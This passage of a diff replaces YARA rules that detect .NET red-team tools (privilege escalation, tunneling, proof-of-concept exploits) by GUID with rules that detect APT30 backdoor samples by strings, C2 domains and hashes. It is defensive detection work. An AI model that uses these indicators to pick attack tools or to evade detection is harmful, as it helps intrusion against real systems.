+		hash1 = "09010917cd00dc8ddd21aeb066877aa2"
+		hash2 = "4c10a1efed25b828e4785d9526507fbc"
+		hash3 = "b7b282c9e3eca888cbdb5a856e07e8bd"
+		hash4 = "df1799845b51300b03072c6569ab96d5"
 
 	strings:
-		$typelibguid0lo = "d5688068-fc89-467d-913f-037a785caca7" ascii wide
-		$typelibguid0up = "D5688068-FC89-467D-913F-037A785CACA7" ascii wide
+		$s0 = "\\~zlzl.exe" ascii
+		$s2 = "\\Internet Exp1orer" ascii
+		$s3 = "NodAndKabIsExcellent" fullword ascii
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		filesize <100KB and uint16(0)==0x5A4D and all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_NET_GUID_Adsearch : FILE
+rule SIGNATURE_BASE_APT30_Sample_23 : FILE
 {
 	meta:
-		description = "Detects .NET red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "399ea06d-b36a-542b-bccc-8e8f935a35c6"
-		date = "2021-01-21"
-		modified = "2023-04-06"
-		reference = "https://github.com/tomcarver16/ADSearch"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L4555-L4569"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "a35da6c6a396669928693b7d408f7d1021a7afc41dabfe521105254d69f23474"
+		description = "FireEye APT30 Report Sample"
+		author = "Florian Roth (Nextron Systems)"
+		id = "9366dd34-9967-5b40-935e-4b0d8f2f5e9e"
+		date = "2015-04-13"
+		modified = "2023-12-05"
+		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_apt30_backspace.yar#L617-L637"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "9865e24aadb4480bd3c182e50e0e53316546fc01"
+		logic_hash = "64ff048b061431e0834ac40bfccb0d9e8ca60ffb022578ef910e6ffc511be6ed"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$typelibguid0lo = "4da5f1b7-8936-4413-91f7-57d6e072b4a7" ascii wide
-		$typelibguid0up = "4DA5F1B7-8936-4413-91F7-57D6E072B4A7" ascii wide
+		$s0 = "hostid" ascii
+		$s1 = "\\Window" ascii
+		$s2 = "%u:%u%s" fullword ascii
+		$s5 = "S2tware\\Mic" ascii
+		$s6 = "la/4.0 (compa" ascii
+		$s7 = "NameACKernel" fullword ascii
+		$s12 = "ToWideChc[lo" fullword ascii
+		$s14 = "help32SnapshotfL" ascii
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		filesize <100KB and uint16(0)==0x5A4D and all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_NET_GUID_Privilege_Escalation_Awesome_Scripts_Suite : FILE
+rule SIGNATURE_BASE_APT30_Sample_24 : FILE
 {
 	meta:
-		description = "Detects .NET red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "fa218dfa-4b56-5a62-b149-63394bd0b604"
-		date = "2021-01-21"
-		modified = "2023-04-06"
-		reference = "https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L4571-L4585"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "a70cfe807cbba80e0bc79adcb7268b2c9b99c20c5f7454e2275712a1adbeb16c"
+		description = "FireEye APT30 Report Sample"
+		author = "Florian Roth (Nextron Systems)"
+		id = "aed2201d-b557-56ec-aa53-fff5b1e17dbd"
+		date = "2015-04-13"
+		modified = "2023-12-05"
+		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_apt30_backspace.yar#L639-L658"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "572caa09f2b600daa941c60db1fc410bef8d1771"
+		logic_hash = "9d550fd0225f1c4e3b16ae53648644d7bb5c80e99e2a1a3d199e51c7219c2e94"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$typelibguid0lo = "1928358e-a64b-493f-a741-ae8e3d029374" ascii wide
-		$typelibguid0up = "1928358E-A64B-493F-A741-AE8E3D029374" ascii wide
+		$s1 = "dizhi.gif" fullword ascii
+		$s3 = "Mozilla/4.0" fullword ascii
+		$s4 = "lyeagles" fullword ascii
+		$s6 = "HHOSTR" ascii
+		$s7 = "#MicrosoftHaveAck7" ascii
+		$s8 = "iexplore." fullword ascii
+		$s17 = "ModuleH" fullword ascii
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		filesize <100KB and uint16(0)==0x5A4D and all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_NET_GUID_CVE_2020_1206_POC : FILE
+rule SIGNATURE_BASE_APT30_Sample_25 : FILE
 {
 	meta:
-		description = "Detects .NET red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "d70472f3-b19f-5097-bd70-99a7e7812ac4"
-		date = "2021-01-21"
-		modified = "2023-04-06"
-		reference = "https://github.com/ZecOps/CVE-2020-1206-POC"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L4587-L4605"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "2e6ae824a98945e75cb57ee64c6622aff498201b64b7a24424990e84406176a0"
+		description = "FireEye APT30 Report Sample"
+		author = "Florian Roth (Nextron Systems)"
+		id = "8b2f2ba2-e9cc-5b3c-8af9-4217d662bc3f"
+		date = "2015-04-13"
+		modified = "2023-12-05"
+		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_apt30_backspace.yar#L660-L679"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "44a21c8b3147fabc668fee968b62783aa9d90351"
+		logic_hash = "86945188f888762ae585463df7cfb6e5fed30d0fcfcca4e642aedf07a0193ae7"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$typelibguid0lo = "3523ca04-a12d-4b40-8837-1a1d28ef96de" ascii wide
-		$typelibguid0up = "3523CA04-A12D-4B40-8837-1A1D28EF96DE" ascii wide
-		$typelibguid1lo = "d3a2f24a-ddc6-4548-9b3d-470e70dbcaab" ascii wide
-		$typelibguid1up = "D3A2F24A-DDC6-4548-9B3D-470E70DBCAAB" ascii wide
-		$typelibguid2lo = "fb30ee05-4a35-45f7-9a0a-829aec7e47d9" ascii wide
-		$typelibguid2up = "FB30EE05-4A35-45F7-9A0A-829AEC7E47D9" ascii wide
+		$s1 = "C:\\WINDOWS" fullword ascii
+		$s2 = "aragua" fullword ascii
+		$s4 = "\\driver32\\7$" ascii
+		$s8 = "System V" fullword ascii
+		$s9 = "Compu~r" fullword ascii
+		$s10 = "PROGRAM L" fullword ascii
+		$s18 = "GPRTMAX" fullword ascii
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		filesize <100KB and uint16(0)==0x5A4D and all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_NET_GUID_Dinvoke : FILE
+rule SIGNATURE_BASE_APT30_Sample_26 : FILE
 {
 	meta:
-		description = "Detects .NET red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "f3b0ef47-a92c-5c5d-a9e2-09579fcb438e"
-		date = "2021-01-21"
-		modified = "2023-04-06"
-		reference = "https://github.com/TheWover/DInvoke"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L4607-L4621"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "3fac2563205327a173814141c035c8be78d43d8409db34954ac6027b3039d7c0"
+		description = "FireEye APT30 Report Sample"
+		author = "Florian Roth (Nextron Systems)"
+		id = "aa80a142-c8fc-504e-b475-e9838607bec6"
+		date = "2015-04-13"
+		modified = "2023-12-05"
+		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_apt30_backspace.yar#L681-L700"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "e26588113417bf68cb0c479638c9cd99a48e846d"
+		logic_hash = "b585687c071dc2dddb888906f47b7af6bc7683e902d3afb42364896e800fac5c"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$typelibguid0lo = "b77fdab5-207c-4cdb-b1aa-348505c54229" ascii wide
-		$typelibguid0up = "B77FDAB5-207C-4CDB-B1AA-348505C54229" ascii wide
+		$s1 = "forcegue" fullword ascii
+		$s3 = "Windows\\Cur" fullword ascii
+		$s4 = "System Id" fullword ascii
+		$s5 = "Software\\Mic" fullword ascii
+		$s6 = "utiBy0ToWideCh&$a" fullword ascii
+		$s10 = "ModuleH" fullword ascii
+		$s15 = "PeekNamed6G" fullword ascii
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		filesize <100KB and uint16(0)==0x5A4D and all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_NET_GUID_Sharpchisel : FILE
+rule SIGNATURE_BASE_APT30_Generic_D : FILE
 {
 	meta:
-		description = "Detects .NET red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "3b7e6703-ebe8-5a98-839f-7d0349ab483f"
-		date = "2021-01-21"
-		modified = "2023-04-06"
-		reference = "https://github.com/shantanu561993/SharpChisel"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L4623-L4637"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "9df151164aa269c13a79d862c15cc75bd0bb4668753f282149c162bd63ece471"
+		description = "FireEye APT30 Report Sample"
+		author = "Florian Roth (Nextron Systems)"
+		id = "9b8d8a60-a357-5cfd-8ff1-6264144ad7be"
+		date = "2015-04-13"
+		modified = "2023-12-05"
+		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_apt30_backspace.yar#L702-L725"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "ff39fc7643441652ec0cdf2f84c7827d326ddb5f01451b3857cfc4015eb01467"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "35dfb55f419f476a54241f46e624a1a4"
+		hash2 = "4fffcbdd4804f6952e0daf2d67507946"
+		hash3 = "597805832d45d522c4882f21db800ecf"
+		hash4 = "6bd422d56e85024e67cc12207e330984"
+		hash5 = "82e13f3031130bd9d567c46a9c71ef2b"
+		hash6 = "b79d87ff6de654130da95c73f66c15fa"
 
 	strings:
-		$typelibguid0lo = "f5f21e2d-eb7e-4146-a7e1-371fd08d6762" ascii wide
-		$typelibguid0up = "F5F21E2D-EB7E-4146-A7E1-371FD08D6762" ascii wide
+		$s0 = "Windows Security Service Feedback" fullword wide
+		$s1 = "wssfmgr.exe" fullword wide
+		$s2 = "\\rb.htm" ascii
+		$s3 = "rb.htm" fullword ascii
+		$s4 = "cook5" ascii
+		$s5 = "5, 4, 2600, 0" fullword wide
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		filesize <100KB and uint16(0)==0x5A4D and all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_NET_GUID_Sharpscribbles : FILE
+rule SIGNATURE_BASE_APT30_Sample_27 : FILE
 {
 	meta:
-		description = "Detects .NET red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "47125b76-9388-5372-8810-d198f623367a"
-		date = "2021-01-21"
-		modified = "2023-04-06"
-		reference = "https://github.com/V1V1/SharpScribbles"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L4639-L4655"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "7b592dc541b708e001f2576d9eb412ecc52879d514149e9f211f6357faff92fc"
+		description = "FireEye APT30 Report Sample"
+		author = "Florian Roth (Nextron Systems)"
+		id = "22815745-086f-59ee-aac1-f35e49aa5835"
+		date = "2015-04-13"
+		modified = "2023-12-05"
+		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_apt30_backspace.yar#L727-L746"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "959573261ca1d7e5ddcd19447475b2139ca24fe1"
+		logic_hash = "5ef0661c5c04f0f0923548509363971011194a16e4308fcfdea5db90e85518a4"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$typelibguid0lo = "aa61a166-31ef-429d-a971-ca654cd18c3b" ascii wide
-		$typelibguid0up = "AA61A166-31EF-429D-A971-CA654CD18C3B" ascii wide
-		$typelibguid1lo = "0dc1b824-c6e7-4881-8788-35aecb34d227" ascii wide
-		$typelibguid1up = "0DC1B824-C6E7-4881-8788-35AECB34D227" ascii wide
+		$s0 = "Mozilla/4.0" fullword ascii
+		$s1 = "dizhi.gif" fullword ascii
+		$s5 = "oftHaveAck+" ascii
+		$s10 = "HlobalAl" fullword ascii
+		$s13 = "$NtRND1$" fullword ascii
+		$s14 = "_NStartup" ascii
+		$s16 = "GXSYSTEM" fullword ascii
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		filesize <100KB and uint16(0)==0x5A4D and all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_NET_GUID_Sharpreg : FILE
+rule SIGNATURE_BASE_APT30_Sample_28 : FILE
 {
 	meta:
-		description = "Detects .NET red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "d89b07b0-bb29-5c77-888b-322e439b4c82"
-		date = "2021-01-21"
-		modified = "2023-04-06"
-		reference = "https://github.com/jnqpblc/SharpReg"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L4657-L4671"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "dfe9189c215c090bc32dedfb0d01964409265a4da4e4f8c4a2ed9ee62b1c9b30"
+		description = "FireEye APT30 Report Sample"
+		author = "Florian Roth (Nextron Systems)"
+		id = "1bc8c68f-ebbb-58b1-92aa-5954318096a0"
+		date = "2015-04-13"
+		modified = "2023-12-05"
+		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_apt30_backspace.yar#L748-L776"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "d246a188ad9ec69948bef6018bab1e7a244c76dcf511c3f9d16024ef7e369ae2"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "e62a63307deead5c9fcca6b9a2d51fb0"
+		hash2 = "5b590798da581c894d8a87964763aa8b"
 
 	strings:
-		$typelibguid0lo = "8ef25b00-ed6a-4464-bdec-17281a4aa52f" ascii wide
-		$typelibguid0up = "8EF25B00-ED6A-4464-BDEC-17281A4AA52F" ascii wide
+		$s0 = "www.flyeagles.com" fullword ascii
+		$s1 = "iexplore.exe" fullword ascii
+		$s2 = "www.km-nyc.com" fullword ascii
+		$s3 = "cmdLine.exe" fullword ascii
+		$s4 = "Software\\Microsoft\\CurrentNetInf" fullword ascii
+		$s5 = "/dizhi.gif" ascii
+		$s6 = "/connect.gif" ascii
+		$s7 = "USBTest.sys" fullword ascii
+		$s8 = "/ver.htm" fullword ascii
+		$s11 = "\\netscv.exe" ascii
+		$s12 = "/app.htm" fullword ascii
+		$s13 = "\\netsvc.exe" ascii
+		$s14 = "/exe.htm" fullword ascii
+		$s18 = "MicrosoftHaveAck" fullword ascii
+		$s19 = "MicrosoftHaveExit" fullword ascii
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		filesize <100KB and uint16(0)==0x5A4D and 7 of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_NET_GUID_Memevm : FILE
+rule SIGNATURE_BASE_APT30_Sample_29 : FILE
 {
 	meta:
-		description = "Detects .NET red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "c98d84d5-4b0a-53df-b8d4-0b360930eb0c"
-		date = "2021-01-21"
-		modified = "2023-04-06"
-		reference = "https://github.com/TobitoFatitoRE/MemeVM"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L4673-L4691"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "7430b5d82012fc63459d97a21d93260ccda7ac8249bf4b56384e3b0ab6b5548a"
+		description = "FireEye APT30 Report Sample"
+		author = "Florian Roth (Nextron Systems)"
+		id = "24334885-fcb4-5a13-82e8-c8465f97361e"
+		date = "2015-04-13"
+		modified = "2023-12-05"
+		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_apt30_backspace.yar#L778-L798"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "44492c53715d7c79895904543843a321491cb23a"
+		logic_hash = "7a59118ba00413961e6fc4d54680373d033a38d698613f853f67137b85c123a7"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$typelibguid0lo = "ef18f7f2-1f03-481c-98f9-4a18a2f12c11" ascii wide
-		$typelibguid0up = "EF18F7F2-1F03-481C-98F9-4A18A2F12C11" ascii wide
-		$typelibguid1lo = "77b2c83b-ca34-4738-9384-c52f0121647c" ascii wide
-		$typelibguid1up = "77B2C83B-CA34-4738-9384-C52F0121647C" ascii wide
-		$typelibguid2lo = "14d5d12e-9a32-4516-904e-df3393626317" ascii wide
-		$typelibguid2up = "14D5D12E-9A32-4516-904E-DF3393626317" ascii wide
+		$s0 = "LSSAS.exe" fullword ascii
+		$s1 = "Software\\Microsoft\\FlashDiskInf" fullword ascii
+		$s2 = ".petite" fullword ascii
+		$s3 = "MicrosoftFlashExit" fullword ascii
+		$s4 = "MicrosoftFlashHaveExit" fullword ascii
+		$s5 = "MicrosoftFlashHaveAck" fullword ascii
+		$s6 = "\\driver32" ascii
+		$s7 = "MicrosoftFlashZJ" fullword ascii
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		filesize <100KB and uint16(0)==0x5A4D and all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_NET_GUID_Sharpdir : FILE
+rule SIGNATURE_BASE_APT30_Sample_30 : FILE
 {
 	meta:
-		description = "Detects .NET red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "f64ed564-d198-59e8-9abe-b2814b95c85f"
-		date = "2021-01-21"
-		modified = "2023-04-06"
-		reference = "https://github.com/jnqpblc/SharpDir"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L4693-L4707"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "23eb7b88f9685457a6cdaa8161fcbc6ea60634a4f01c67a4a1307618a6f8fa14"
+		description = "FireEye APT30 Report Sample"
+		author = "Florian Roth (Nextron Systems)"
+		id = "787b288a-6fb4-5483-af76-933651ec6d58"
+		date = "2015-04-13"
+		modified = "2023-12-05"
+		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_apt30_backspace.yar#L800-L817"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "3b684fa40b4f096e99fbf535962c7da5cf0b4528"
+		logic_hash = "5ecfc8d53b768f624c8765f70708bfaae5396d7aa6b0335f7c656f4350649c5d"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$typelibguid0lo = "c7a07532-12a3-4f6a-a342-161bb060b789" ascii wide
-		$typelibguid0up = "C7A07532-12A3-4F6A-A342-161BB060B789" ascii wide
+		$s0 = "5.1.2600.2180 (xpsp_sp2_rtm.040803-2158)" fullword wide
+		$s3 = "RnhwtxtkyLRRMf{jJ}ny" fullword ascii
+		$s4 = "RnhwtxtkyLRRJ}ny" fullword ascii
+		$s5 = "ZRLDownloadToFileA" fullword ascii
+		$s9 = "5.1.2600.2180" fullword wide
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		filesize <100KB and uint16(0)==0x5A4D and all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_NET_GUID_Atyourservice : FILE
+rule SIGNATURE_BASE_APT30_Sample_31 : FILE
 {
 	meta:
-		description = "Detects .NET red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "3077dd0c-6936-5340-8da9-e8643de4d864"
-		date = "2021-01-21"
-		modified = "2023-04-06"
-		reference = "https://github.com/mitchmoser/AtYourService"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L4709-L4723"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "3e473ebb7e01cdc2edb9a20ba5ace39fd69629fb04d83510bc7855696c9ae581"
+		description = "FireEye APT30 Report Sample"
+		author = "Florian Roth (Nextron Systems)"
+		id = "9333870b-7eaa-54dd-a801-7292708fb592"
+		date = "2015-04-13"
+		modified = "2023-12-05"
+		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_apt30_backspace.yar#L819-L836"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "8b4271167655787be1988574446125eae5043aca"
+		logic_hash = "003bfa9774d3e85829cc266d06417b86287986994995adfa7a2bd26c3648c07e"
 		score = 75
-		quality = 85
+		quality = 60
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$typelibguid0lo = "bc72386f-8b4c-44de-99b7-b06a8de3ce3f" ascii wide
-		$typelibguid0up = "BC72386F-8B4C-44DE-99B7-B06A8DE3CE3F" ascii wide
+		$s0 = "\\ZJRsv.tem" ascii
+		$s1 = "forceguest" fullword ascii
+		$s4 = "\\$NtUninstallKB570317$" ascii
+		$s8 = "[Can'tGetIP]" fullword ascii
+		$s14 = "QWERTY:,`/" fullword ascii
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		filesize <100KB and uint16(0)==0x5A4D and all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_NET_GUID_Lockless : FILE
+rule SIGNATURE_BASE_APT30_Generic_J : FILE
 {
 	meta:
-		description = "Detects .NET red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "f9b31f57-d721-5b6c-be63-b8309cba788a"
-		date = "2021-01-21"
-		modified = "2023-04-06"
-		reference = "https://github.com/GhostPack/LockLess"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L4725-L4739"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "b3f929e2a7ee7f3b82cafcffe89572e210ca817edeb261810b9a2191ba308c3d"
+		description = "FireEye APT30 Report Sample"
+		author = "Florian Roth (Nextron Systems)"
+		id = "64a5106e-d7f3-5c68-a14e-410149a1bb9e"
+		date = "2015-04-13"
+		modified = "2023-12-05"
+		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_apt30_backspace.yar#L838-L869"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "7c404689b60fe493ca9b503902173ac04d7bb00488edec9e69006e6d51e20c51"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "49aca228674651cba776be727bdb7e60"
+		hash2 = "5c7a6b3d1b85fad17333e02608844703"
+		hash3 = "649fa64127fef1305ba141dd58fb83a5"
+		hash4 = "9982fd829c0048c8f89620691316763a"
+		hash5 = "baff5262ae01a9217b10fcd5dad9d1d5"
+		hash6 = "9982fd829c0048c8f89620691316763a"
 
 	strings:
-		$typelibguid0lo = "a91421cb-7909-4383-ba43-c2992bbbac22" ascii wide
-		$typelibguid0up = "A91421CB-7909-4383-BA43-C2992BBBAC22" ascii wide
+		$s0 = "Launcher.EXE" fullword wide
+		$s1 = "Symantec Security Technologies" fullword wide
+		$s2 = "\\Symantec LiveUpdate.lnk" ascii
+		$s3 = "Symantec Service Framework" fullword wide
+		$s4 = "\\ccSvcHst.exe" ascii
+		$s5 = "\\wssfmgr.exe" ascii
+		$s6 = "Symantec Corporation" fullword wide
+		$s7 = "\\5.1.0.29" ascii
+		$s8 = "\\Engine" ascii
+		$s9 = "Copyright (C) 2000-2010 Symantec Corporation. All rights reserved." fullword wide
+		$s10 = "Symantec LiveUpdate" fullword ascii
+		$s11 = "\\Norton360" ascii
+		$s15 = "BinRes" fullword ascii
+		$s16 = "\\readme.lz" ascii
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		filesize <100KB and uint16(0)==0x5A4D and all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_NET_GUID_Easynet : FILE
+rule SIGNATURE_BASE_APT30_Microfost : FILE
 {
 	meta:
